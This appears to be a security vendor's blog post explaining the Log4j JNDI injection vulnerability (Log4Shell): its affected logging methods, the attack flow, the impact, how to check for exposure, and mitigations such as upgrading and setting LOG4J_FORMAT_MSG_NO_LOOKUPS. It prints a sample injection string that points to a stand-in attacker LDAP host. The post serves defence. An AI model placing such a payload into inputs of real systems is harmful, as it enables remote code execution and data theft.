What's the Buzz? (The Problem)
The issue falls in the category of Template Language Injection, which involves a parser that is triggered to perform certain actions when particular sequences are found in the parsed string.
The library is Log4j and the vulnerable methods (sinks) are the ones that are usually called to actually log messages in files to keep track of events happening during the execution of an application:
- log
- fatal
- error
- warn
- trace
- ..
logger.warn(username + " not found!");
log4j sys env main marker java lower upper date ctx jndi (if org.apache.logging.log4j.core.lookup.JndiLookup is present) web (if org.apache.logging.log4j.web.WebLookup is present) docker spring kubernetes
${jndi:ldap://EVILLDAP:[PORT]/XX}
as argument in the sink method, Log4j will:
- trigger a DNS request to check if the EVILLDAP hostname needs to be resolved
- perform an LDAP request to the (attacker controlled) LDAP server hosted on the resolved IP
- the attacker controlled LDAP server will then be able to reply with a malicious serialized Java object, which will be executed on the Log4j side.
- if the malicious object, by abusing internal features (gadgets), is able to trigger the correct set of instruction, the vulnerability will be successfully exploited.
What's the Impact and How about the Risk? (The Attack)
The worst impact is the Remote Code Execution, which requires:
- the victim machine must be able to perform outbound requests
- the attacker must be able to use the correct gadget chain to successfully perform the attack.
- env:KEY
- sys:KEY
- ctx:KEY
- web:KEY
- ..
- the victim machine is allowed to perform DNS requests or perform outbound requests
Which Version is Affected?
Am I Vulnerable? (The Check)
If you've already implemented a process which allows to list:
- *All* your applications and versions
- *Where* they are deployed
If you have it, there are very good chances that the time spent to find & fix everything will be relatively small.
But, of course, having it depends on the maturity of the security process implemented in your company (check this out if you're interested in our services).
If no SBOM is in place then, the first thing to do is to roll up your sleeves and for each instance:
- Login
- Check if there are running processes using java.
- Identify the directories and use the open source OWASP Dependency Check (or similar products).
How can I mitigate the risk? (The Fix)
- For each affected vendor you should ping them, asking for a patch or minor release. If they tell you that you must update to a major release and your product is not EOL, you should insist for a minor/patch level release which addresses the vulnerability.
- For each internal application update Log4j library to version 2.16.
- WARNING: Log4j 2.16 requires Java 8, so if you have Java < 8 there might be some more time consuming effort. In that case see if the following workaround is worth trying.
- if Log4j version >= 2.10, as explained here, you can do the following steps:
- export the following ENVIRONMENT VARIABLE to the whole OS as LOG4J_FORMAT_MSG_NO_LOOKUPS=true
- relaunch the application.
- Check if you're still vulnerable with a POC.
- For each affected machine:
- if it's not supposed to generate egress traffic block DNS requests and new outbound traffic.
- if it's supposed to generate outbound traffic, well...that falls into anomaly detection category, which could help but be sure that it is not a fingerprint based one since there's a lot of ways to bypass blocking rules.
- last but not least it might be interesting to experiment some kind of RASP, such as this one, which will be able to identify contextual traffic without the risk of bypasses.